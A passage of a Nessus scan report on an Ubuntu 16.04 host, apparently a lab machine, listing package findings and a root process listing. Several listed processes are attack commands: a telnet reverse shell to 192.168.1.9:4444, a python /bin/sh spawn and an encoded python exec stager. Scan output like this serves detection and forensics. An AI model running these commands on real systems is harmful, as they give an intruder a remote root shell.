- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.192709' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://xz.tukaani.org/xz-utils/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/03/29, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus detected 2 installs of XZ Utils:

Path : /lib/x86_64-linux-gnu/liblzma.so.5.0.0
Version : 5.1.1
Associated Package : liblzma5 5.1.1alpha
Confidence : High
Managed by OS : True
Version Source : Package

Path : /usr/bin/xz
Version : 5.1.1
```

```
Associated Package : xz-utils 5.1.1alpha
Confidence : High
Managed by OS : True
Version Source : Package
```

168281 - Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : shadow regression (USN-5745-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-5745-2 advisory.

USN-5745-1 fixed vulnerabilities in shadow. Unfortunately that update introduced a regression that caused useradd to behave incorrectly in Ubuntu 14.04 ESM, Ubuntu 16.04 ESM, Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. This update reverts the security fix pending further investigation.

We apologize for the inconvenience.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-5745-2

Solution

Update the affected login, passwd and / or uidmap packages.

Risk Factor

None

References

XREF USN:5745-2

Plugin Information

Published: 2022/11/29, Modified: 2024/10/29

Plugin Output

tcp/0

```
NOTE: This vulnerability check contains fixes that apply to packages only
available in Ubuntu ESM repositories. Access to these package security updates
require an Ubuntu Pro subscription.


- Installed package : login_1:4.2-3.1ubuntu5.3
- Fixed package : login_1:4.2-3.1ubuntu5.5+esm3

- Installed package : passwd_1:4.2-3.1ubuntu5.3
- Fixed package : passwd_1:4.2-3.1ubuntu5.5+esm3
```

144890 - Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS : xdg-utils regression (USN-4649-2)

Synopsis

The remote Ubuntu host is missing a security update.

Description

The remote Ubuntu 16.04 LTS / 18.04 LTS / 20.04 LTS host has a package installed that is affected by a vulnerability as referenced in the USN-4649-2 advisory.

USN-4649-1 fixed vulnerabilities in xdg-utils. That update caused a regression by removing the --attach functionality in thunderbird and others applications. This update fix the problem by reverting these changes.

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://ubuntu.com/security/notices/USN-4649-2

Solution

Update the affected xdg-utils package.

Risk Factor

None

References

XREF USN:4649-2

Plugin Information

Published: 2021/01/13, Modified: 2024/10/29

Plugin Output

tcp/0

```
- Installed package : xdg-utils_1.1.1-1ubuntu1.16.04.1
- Fixed package : xdg-utils_1.1.1-1ubuntu1.16.04.5
```

83303 - Unix / Linux - Local Users Information : Passwords Never Expire -

Synopsis

At least one local user has a password that never expires.

Description

Using the supplied credentials, Nessus was able to list local users that are enabled and whose passwords never expire.

Solution

Allow or require users to change their passwords regularly.

Risk Factor

None

Plugin Information

Published: 2015/05/10, Modified: 2023/11/27

Plugin Output

tcp/0

```
Nessus found the following unlocked users with passwords that do not expire :
- marlinspike
```

110483 - Unix / Linux Running Processes Information -

Synopsis

Uses /bin/ps auxww command to obtain the list of running processes on the target machine at scan time.

Description

Generated report details the running processes on the target machine at scan time.
This plugin is informative only and could be used for forensic investigation, malware detection, and to confirm that your system processes conform to your system policies.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/06/12, Modified: 2023/11/27

Plugin Output

tcp/0

```
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.2 0.1 119616 5788 ? Ss 02:35 0:06 /lib/systemd/systemd --system --deserialize 26
root 2 0.0 0.0 0 0 ? S 02:35 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? S< 02:35 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? S 02:35 0:00 [ksoftirqd/0]
root 7 0.2 0.0 0 0 ? S 02:35 0:06 [rcu_sched]
root 8 0.0 0.0 0 0 ? S 02:35 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S 02:35 0:00 [migration/0]
root 10 0.0 0.0 0 0 ? S< 02:35 0:00 [lru-add-drain]
root 11 0.0 0.0 0 0 ? S 02:35 0:00 [watchdog/0]
root 12 0.0 0.0 0 0 ? S 02:35 0:00 [cpuhp/0]
root 13 0.0 0.0 0 0 ? S 02:35 0:00 [cpuhp/1]
root 14 0.0 0.0 0 0 ? S 02:35 0:00 [watchdog/1]
root 15 0.0 0.0 0 0 ? S 02:35 0:00 [migration/1]
root 16 0.1 0.0 0 0 ? S 02:35 0:04 [ksoftirqd/1]
root 18 0.0 0.0 0 0 ? S< 02:35 0:00 [kworker/1:0H]
root 19 0.0 0.0 0 0 ? S 02:35 0:00 [kdevtmpfs]
root 20 0.0 0.0 0 0 ? S< 02:35 0:00 [netns]
root 21 0.0 0.0 0 0 ? S 02:35 0:00 [khungtaskd]
root 22 0.0 0.0 0 0 ? S 02:35 0:00 [oom_reaper]
root 23 0.0 0.0 0 0 ? S< 02:35 0:00 [writeback]
root 24 0.0 0.0 0 0 ? S 02:35 0:00 [kcompactd0]
root 25 0.0 0.0 0 0 ? SN 02:35 0:00 [ksmd]
root 26 0.0 0.0 0 0 ? SN 02:35 0:02 [khugepaged]
root 27 0.0 0.0 0 0 ? S< 02:35 0:00 [crypto]
root 28 0.0 0.0 0 0 ? S< 02:35 0:00 [kintegrityd]
root 29 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 30 0.0 0.0 0 0 ? S< 02:35 0:00 [kblockd]
root 33 0.0 0.0 0 0 ? S< 02:35 0:00 [ata_sff]
root 34 0.0 0.0 0 0 ? S< 02:35 0:00 [md]
root 35 0.0 0.0 0 0 ? S< 02:35 0:00 [devfreq_wq]
root 36 0.0 0.0 0 0 ? S< 02:35 0:00 [watchdogd]
root 39 0.0 0.0 0 0 ? S 02:35 0:00 [kauditd]
root 40 0.0 0.0 0 0 ? S 02:35 0:00 [kswapd0]
root 41 0.0 0.0 0 0 ? S< 02:35 0:00 [vmstat]
root 42 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 43 0.0 0.0 0 0 ? S 02:35 0:00 [ecryptfs-kthrea]
root 83 0.0 0.0 0 0 ? S< 02:35 0:00 [kthrotld]
root 84 0.0 0.0 0 0 ? S< 02:35 0:00 [acpi_thermal_pm]
root 85 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 86 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 87 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 88 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 89 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 90 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 91 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 92 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 93 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_0]
root 94 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_0]
root 95 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_1]
root 96 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_1]
root 102 0.0 0.0 0 0 ? S< 02:35 0:00 [ipv6_addrconf]
root 123 0.0 0.0 0 0 ? S< 02:35 0:00 [charger_manager]
root 124 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 183 0.0 0.0 0 0 ? S< 02:35 0:00 [ttm_swap]
root 184 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_2]
root 185 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_2]
root 186 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_3]
root 187 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_3]
root 188 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_4]
root 189 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_4]
root 190 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_5]
root 191 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_5]
root 192 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_6]
root 193 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_6]
root 194 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_7]
root 195 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_7]
root 196 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_8]
root 197 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_8]
root 198 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_9]
root 199 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_9]
root 200 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_10]
root 201 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_10]
root 202 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_11]
root 203 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_11]
root 204 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_12]
root 205 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_12]
root 206 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_13]
root 207 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_13]
root 208 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_14]
root 209 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_14]
root 210 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_15]
root 211 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_15]
root 212 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_16]
root 213 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_16]
```

```
root 214 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_17]
root 215 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_17]
root 216 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_18]
root 217 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_18]
root 218 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_19]
root 219 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_19]
root 220 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_20]
root 221 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_20]
root 222 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_21]
root 223 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_21]
root 224 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_22]
root 225 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_22]
root 226 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_23]
root 227 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_23]
root 228 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_24]
root 229 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_24]
root 230 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_25]
root 231 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_25]
root 232 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_26]
root 233 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_26]
root 234 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_27]
root 235 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_27]
root 236 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_28]
root 237 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_28]
root 238 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_29]
root 239 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_29]
root 240 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_30]
root 241 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_30]
root 242 0.0 0.0 0 0 ? S 02:35 0:00 [scsi_eh_31]
root 243 0.0 0.0 0 0 ? S< 02:35 0:00 [scsi_tmf_31]
root 272 0.0 0.0 0 0 ? S< 02:35 0:00 [bioset]
root 274 0.0 0.0 0 0 ? S< 02:35 0:00 [kworker/0:1H]
root 275 0.1 0.0 0 0 ? S< 02:35 0:04 [kworker/1:1H]
root 297 0.7 0.0 0 0 ? S 02:35 0:21 [jbd2/sda1-8]
root 298 0.0 0.0 0 0 ? S< 02:35 0:00 [ext4-rsv-conver]
root 323 0.0 0.0 32260 3188 ? Ss 02:35 0:00 /lib/systemd/systemd-journald
root 352 0.0 0.1 45872 5024 ? Ss 02:35 0:00 /lib/systemd/systemd-udevd
root 448 0.0 0.0 0 0 ? S< 02:36 0:00 [nfit]
root 583 0.0 0.0 0 0 ? S< 02:36 0:00 [edac-poller]
root 744 0.0 0.0 28660 3100 ? Ss 02:36 0:00 /lib/systemd/systemd-logind
root 746 0.0 0.0 0 0 ? S 03:15 0:00 [kworker/1:1]
syslog 751 0.0 0.0 256400 3340 ? Ssl 02:36 0:00 /usr/sbin/rsyslogd -n
root 759 0.0 0.0 22812 2596 ? Ss 02:36 0:00 /usr/sbin/anacron -dsq
root 775 0.0 0.0 4400 1300 ? Ss 02:36 0:00 /usr/sbin/acpid
avahi 776 0.0 0.0 44912 3692 ? Ss 02:36 0:00 avahi-daemon: running [vtcsec.local]
message+ 777 0.1 0.1 44304 5036 ? Ss 02:36 0:04 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-
activation
root 812 0.0 0.2 337388 8684 ? Ssl 02:36 0:00 /usr/sbin/ModemManager
root 815 0.0 0.3 382612 15896 ? Ssl 02:36 0:00 /usr/sbin/NetworkManager --no-daemon
root 823 0.0 0.0 36076 2944 ? Ss 02:36 0:00 /usr/sbin/cron -f
avahi 837 0.0 0.0 44788 344 ? S 02:36 0:00 avahi-daemon: chroot helper
root 862 0.0 0.1 350544 6188 ? SLsl 02:36 0:00 /usr/sbin/lightdm
root 867 0.0 0.0 19584 2068 ? Ss 02:36 0:00 /usr/sbin/irqbalance --pid=/var/run/irqbalance.pid
root 915 9.1 2.0 383184 82332 tty7 Ssl+ 02:36 4:26 /usr/lib/xorg/Xorg -core :0 -seat seat0 -auth /var/run/lightdm/root/:0 -nolisten
tcp vt7 -novtswitch
root 919 0.0 0.2 290168 9852 ? Ssl 02:36 0:02 /usr/lib/policykit-1/polkitd --no-debug
root 940 0.0 0.1 65520 6048 ? Ss 02:36 0:00 /usr/sbin/sshd -D
nobody 956 0.0 0.0 15908 2372 ? Ss 02:36 0:00 proftpd: (accepting connections)
root 976 0.0 0.0 16120 3604 ? S 02:36 0:00 /sbin/dhclient -d -q -sf /usr/lib/NetworkManager/nm-dhcp-helper -pf /var/run/dhclient-
ens33.pid -lf /var/lib/NetworkManager/dhclient-1819a33f-45e4-3bc7-8803-08a11c8dac2d-ens33.lease -cf
/var/lib/NetworkManager/dhclient-ens33.conf ens33
nobody 1017 0.0 0.1 59936 4168 ? S 02:36 0:00 /usr/sbin/dnsmasq --no-resolv --keep-in-foreground --no-hosts --bind-interfaces --pid-
file=/var/run/NetworkManager/dnsmasq.pid --listen-address=127.0.1.1 --cache-size=0 --conf-file=/dev/null --proxy-dnssec --enable-
dbus=org.freedesktop.NetworkManager.dnsmasq --conf-dir=/etc/NetworkManager/dnsmasq.d
root 1237 0.0 0.1 230304 6420 ? Sl 02:36 0:00 lightdm --session-child 12 19
root 1296 0.0 0.0 23008 1860 tty1 Ss+ 02:36 0:00 /sbin/agetty --noclear tty1 linux
rtkit 1347 0.0 0.0 183544 2988 ? SNsl 02:36 0:00 /usr/lib/rtkit/rtkit-daemon
root 1370 0.0 0.2 354096 9564 ? Ssl 02:36 0:00 /usr/lib/upower/upowerd
colord 1383 0.0 0.3 308272 13064 ? Ssl 02:36 0:00 /usr/lib/colord/colord
root 2004 0.1 0.0 0 0 ? S 02:47 0:02 [kworker/u4:1]
root 2013 0.0 0.0 14360 708 ? S 02:51 0:00 sleep 3654
root 2015 0.0 0.0 4508 100 ? S 02:51 0:00 sh -c (sleep 3654|telnet 192.168.1.9 4444|while : ; do sh && break; done 2>&1|telnet
192.168.1.9 4444 >/dev/null 2>&1 &)
root 2017 0.0 0.0 4508 704 ? S 02:51 0:00 sh
root 2020 0.0 0.0 0 0 ? S 02:52 0:00 [kworker/1:0]
root 2022 0.0 0.0 4508 720 ? Ss 02:52 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily install
root 2026 0.0 0.0 4508 1780 ? S 02:52 0:00 /bin/sh /usr/lib/apt/apt.systemd.daily lock_is_held install
root 2053 32.8 2.7 180764 111504 ? S 02:52 10:28 /usr/bin/python3 /usr/bin/unattended-upgrade
root 2064 0.0 0.1 40120 6816 ? S 02:56 0:00 python -c import os; os.system("/bin/sh")
root 2065 0.0 0.0 4508 800 ? S 02:56 0:00 sh -c /bin/sh
root 2066 0.0 0.0 4508 708 ? S 02:56 0:00 /bin/sh
root 2067 0.0 0.1 42824 7792 ? S 02:56 0:00 /usr/bin/python -c
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')
('eNrLzC3ILypRKCiptAYResUFieV5Gur6SZl5+kmJxRnqmgDdwwv8')[0]))
root 2068 0.0 0.0 28236 3792 pts/8 Ss+ 02:56 0:00 /bin/bash
root 2094 0.2 2.5 180764 103680 ? S 03:03 0:02 /usr/bin/python3 /usr/bin/unattended-upgrade
root 2506 5.3 1.3 84216 55156 pts/9 Ss+ 03:15 0:28 /usr/bin/dpkg --status-fd 10 --unpack --auto-deconfigure
/var/cache/apt/archives/tzdata_2021a-0ubuntu0.16.04_all.deb /var/cache/apt/archives/dh-python_2.20151103ubuntu1.2_all.deb
/var/cache/apt/archives/distro-info-data_0.28ubuntu0.19_all.deb /var/cache/apt/archives/file_1%3a5.25-2ubuntu1.4_amd64.deb
/var/cache/apt/archives/libmagic1_1%3a5.25-2ubuntu1.4_amd64.deb /var/cache/apt/archives/libisc-export160_1%3a9.10.3.dfsg.P4-
8ubuntu1.19_amd64.deb /var/cache/apt/archives/libdns-export162_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb /var/cache/apt/archives/isc-
dhcp-client_4.3.3-5ubuntu12.9_amd64.deb /var/cache/apt/archives/isc-dhcp-common_4.3.3-5ubuntu12.9_amd64.deb
/var/cache/apt/archives/libjson-c2_0.11-4ubuntu2.6_amd64.deb /var/cache/apt/archives/sudo_1.8.16-0ubuntu1.10_amd64.deb
/var/cache/apt/archives/vim-tiny_2%3a7.4.1689-3ubuntu1.5_amd64.deb /var/cache/apt/archives/vim-common_2%3a7.4.1689-
3ubuntu1.5_amd64.deb /var/cache/apt/archives/accountsservice_0.6.40-2ubuntu11.6_amd64.deb
/var/cache/apt/archives/libaccountsservice0_0.6.40-2ubuntu11.6_amd64.deb /var/cache/apt/archives/apt-transport-
https_1.2.32ubuntu0.2_amd64.deb /var/cache/apt/archives/bind9-host_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb
/var/cache/apt/archives/dnsutils_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb /var/cache/apt/archives/libisc160_1%3a9.10.3.dfsg.P4-
8ubuntu1.19_amd64.deb /var/cache/apt/archives/libdns162_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb
```

/var/cache/apt/archives/libisccc140_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb
/var/cache/apt/archives/libisccfg140_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb
/var/cache/apt/archives/liblwres141_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb /var/cache/apt/archives/libbind9-140_1%3a9.10.3.dfsg.P4-8ubuntu1.19_amd64.deb /var/cache/apt/archives/busybox-static_1%3a1.22.0-15ubuntu1.4_amd64.deb
/var/cache/apt/archives/krb5-locales_1.13.2+dfsg-5ubuntu2.2_all.deb /var/cache/apt/archives/libpcap0.8_1.7.4-2ubuntu0.1_amd64.deb
/var/cache/apt/archives/libsasl2-modules_2.1.26.dfsg1-14ubuntu0.2_amd64.deb /var/cache/apt/archives/rsync_3.1.1-3ubuntu1.3_amd64.deb
/var/cache/apt/archives/tcpdump_4.9.3-0ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/wget_1.17.1-1ubuntu1.5_amd64.deb
/var/cache/apt/archives/python3-problem-report_2.20.1-0ubuntu2.30+esm7_all.deb /var/cache/apt/archives/python3-apport_2.20.1-0ubuntu2.30+esm7_all.deb /var/cache/apt/archives/apport_2.20.1-0ubuntu2.30+esm7_all.deb /var/cache/apt/archives/xterm_322-1ubuntu1.2_amd64.deb /var/cache/apt/archives/apport-gtk_2.20.1-0ubuntu2.30+esm7_all.deb
/var/cache/apt/archives/aspell_0.60.7~20110707-3ubuntu0.1_amd64.deb /var/cache/apt/archives/libaspell15_0.60.7~20110707-3ubuntu0.1_amd64.deb /var/cache/apt/archives/avahi-autoipd_0.6.32~rc+dfsg-1ubuntu2.3_amd64.deb /var/cache/apt/archives/pulseaudio-module-bluetooth_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/libvorbisfile3_1.3.5-3ubuntu0.2_amd64.deb
/var/cache/apt/archives/libvorbisenc2_1.3.5-3ubuntu0.2_amd64.deb /var/cache/apt/archives/libvorbis0a_1.3.5-3ubuntu0.2_amd64.deb
/var/cache/apt/archives/libsndfile1_1.0.25-10ubuntu0.16.04.3_amd64.deb /var/cache/apt/archives/libx11-xcb1_2%3a1.6.3-1ubuntu2.2_amd64.deb /var/cache/apt/archives/libpulsedsp_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/pulseaudio-utils_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/libpulse-mainloop-glib0_1%3a8.0-0ubuntu3.15_amd64.deb
/var/cache/apt/archives/pulseaudio-module-x11_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/pulseaudio_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/libpulse0_1%3a8.0-0ubuntu3.15_amd64.deb /var/cache/apt/archives/libsnapd-glib1_1.49-0ubuntu0.16.04.2_amd64.deb /var/cache/apt/archives/libavahi-core7_0.6.32~rc+dfsg-1ubuntu2.3_amd64.deb /var/cache/apt/archives/avahi-daemon_0.6.32~rc+dfsg-1ubuntu2.3_amd64.deb /var/cache/apt/archives/avahi-utils_0.6.32~rc+dfsg-1ubuntu2.3_amd64.deb
/var/cache/apt/archives/bluez-cups_5.37-0ubuntu5.3_amd64.deb /var/cache/apt/archives/evolution-data-server-online-accounts_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/evolution-data-server_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/evolution-data-server-common_3.18.5-1ubuntu1.3_all.deb /var/cache/apt/archives/libedataserver-1.2-21_3.18.5-1ubuntu1.3_amd64.deb
/var/cache/apt/archives/libebackend-1.2-10_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libebook-contacts-1.2-2_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libecal-1.2-19_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libedata-book-1.2-25_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libedata-cal-1.2-28_3.18.5-1ubuntu1.3_amd64.deb
/var/cache/apt/archives/libcamel-1.2-54_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/libebook-1.2-16_3.18.5-1ubuntu1.3_amd64.deb /var/cache/apt/archives/bluez-obexd_5.37-0ubuntu5.3_amd64.deb /var/cache/apt/archives/dns-root-data_2018013001~16.04.1_all.deb /var/cache/apt/archives/dnsmasq-base_2.75-1ubuntu0.16.04.10_amd64.deb
/var/cache/apt/archives/libdjvulibre-text_3.5.27.1-5ubuntu0.1_all.deb /var/cache/apt/archives/libdjvulibre21_3.5.27.1-5ubuntu0.1_amd64.deb /var/cache/apt/archives/libkpathsea6_2015.20160222.37495-1ubuntu0.1_amd64.deb
/var/cache/apt/archives/libpoppler-glib8_0.41.0-0ubuntu1.16_amd64.deb /var/cache/apt/archives/evince_3.18.2-1ubuntu4.6_amd64.deb
/var/cache/apt/archives/libevdocument3-4_3.18.2-1ubuntu4.6_amd64.deb /var/cache/apt/archives/gstreamer1.0-plugins-base_1.8.3-1ubuntu0.3_amd64.deb /var/cache/apt/archives/libevview3-3_3.18.2-1ubuntu4.6_amd64.deb /var/cache/apt/archives/evince-common_3.18.2-1ubuntu4.6_all.deb /var/cache/apt/archives/unzip_6.0-20ubuntu1.1_amd64.deb /var/cache/apt/archives/libarchive13_3.1.2-11ubuntu0.16.04.8_amd64.deb /var/cache/apt/archives/file-roller_3.16.5-0ubuntu1.5_amd64.deb
/var/cache/apt/archives/libxcursor1_1%3a1.1.14-1ubuntu0.16.04.2_amd64.deb /var/cache/apt/archives/firefox_88.0+build2-0ubuntu0.16.04.1_amd64.deb /var/cache/apt/archives/firefox-locale-en_88.0+build2-0ubuntu0.16.04.1_amd64.deb
/var/cache/apt/archives/libdfu1_0.8.3-0ubuntu5.1_amd64.deb /var/cache/apt/archives/libfwupd1_0.8.3-0ubuntu5.1_amd64.deb
/var/cache/apt/archives/fwupd_0.8.3-0ubuntu5.1_amd64.deb /var/cache/apt/archives/libgettextpo-dev_0.19.7-2ubuntu3.1_amd64.deb
/var/cache/apt/archives/libgettextpo0_0.19.7-2ubuntu3.1_amd64.deb /var/cache/apt/archives/gettext_0.19.7-2ubuntu3.1_amd64.deb
/var/cache/apt/archives/gir1.2-gdkpixbuf-2.0_2.32.2-1ubuntu1.6_amd64.deb /var/cache/apt/archives/gir1.2-gst-plugins-base-1.0_1.8.3-1ubuntu0.3_amd64.deb /var/cache/apt/archives/librsvg2-common_2.40.13-3ubuntu0.2_amd64.deb /var/cache/apt/archives/librsvg2-2_2.40.13-3ubuntu0.2_amd64.deb /var/cache/apt/archives/libibus-1.0-5_1.5.11-1ubuntu2.4_amd64.deb
/var/cache/apt/archives/ibus_1.5.11-1ubuntu2.4_amd64.deb /var/cache/apt/archives/gir1.2-ibus-1.0_1.5.11-1ubuntu2.4_amd64.deb
/var/cache/apt/archives/gstreamer1.0-alsa_1.8.3-1ubuntu0.3_amd64.deb /var/cache/apt/archives/gstreamer1.0-plugins-base-apps_1.8.3-1ubuntu0.3_amd64.deb /var/cache/apt/archives/libcaca0_0.99.beta19-2ubuntu0.16.04.2_amd64.deb /var/cache/apt/archives/gstreamer1.0-plugins-good_1.8.3-1ubuntu0.5_amd64.deb /var/cache/apt/archives/libgstreamer-plugins-good1.0-0_1.8.3-1ubuntu0.5_amd64.deb
/var/cache/apt/archives/libvpx3_1.5.0-2ubuntu1.1_amd64.deb /var/cache/apt/archives/libwavpack1_4.75.2-2ubuntu0.2_amd64.deb
/var/cache/apt/archives/gstreamer1.0-pulseaudio_1.8.3-1ubuntu0.5_amd64.deb /var/cache/apt/archives/gstreamer1.0-x_1.8.3-1ubuntu0.3_amd64.deb /var/cache/apt/archives/gvfs-bin_1.28.2-1ubuntu1~16.04.3_amd64.deb /var/cache/apt/archives/gvfs-backends_1.28.2-1ubuntu1~16.04.3_amd64.deb /var/cache/apt/archives/gvfs-fuse_1.28.2-1ubuntu1~16.04.3_amd64.deb
/var/cache/apt/archives/gvfs_1.28.2-1ubuntu1~16.04.3_amd64.deb /var/cache/apt/archives/gvfs-daemons_1.28.2-1ubuntu1~16.04.3_amd64.deb /var/cache/apt/archives/gvfs-libs_1.28.2-1ubuntu1~16.04.3_amd64.deb /var/cache/apt/archives/gvfs-common_1.28.2-1ubuntu1~16.04.3_all.deb /var/cache/apt/archives/ibus-gtk_1.5.11-1ubuntu2.4_amd64.deb /var/cache/apt/archives/ibus-gtk3_1.5.11-1ubuntu2.4_amd64.deb /var/cache/apt/archives/iucode-tool_1.5.1-1ubuntu0.1_amd64.deb /var/cache/apt/archives/php7.0-mysql_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/php7.0-json_7.0.33-0ubuntu0.16.04.16_amd64.deb
/var/cache/apt/archives/libgd3_2.1.1-4ubuntu0.16.04.12_amd64.deb /var/cache/apt/archives/php7.0-gd_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/php7.0-opcache_7.0.33-0ubuntu0.16.04.16_amd64.deb
/var/cache/apt/archives/php7.0-cgi_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/php7.0_7.0.33-0ubuntu0.16.04.16_all.deb /var/cache/apt/archives/php7.0-readline_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/php7.0-cli_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/libapache2-mod-php7.0_7.0.33-0ubuntu0.16.04.16_amd64.deb
/var/cache/apt/archives/php7.0-common_7.0.33-0ubuntu0.16.04.16_amd64.deb /var/cache/apt/archives/libarchive-zip-perl_1.56-2ubuntu0.1_all.deb /var/cache/apt/archives/libavahi-ui-gtk3-0_0.6.32~rc+dfsg-1ubuntu2.3_amd64.deb
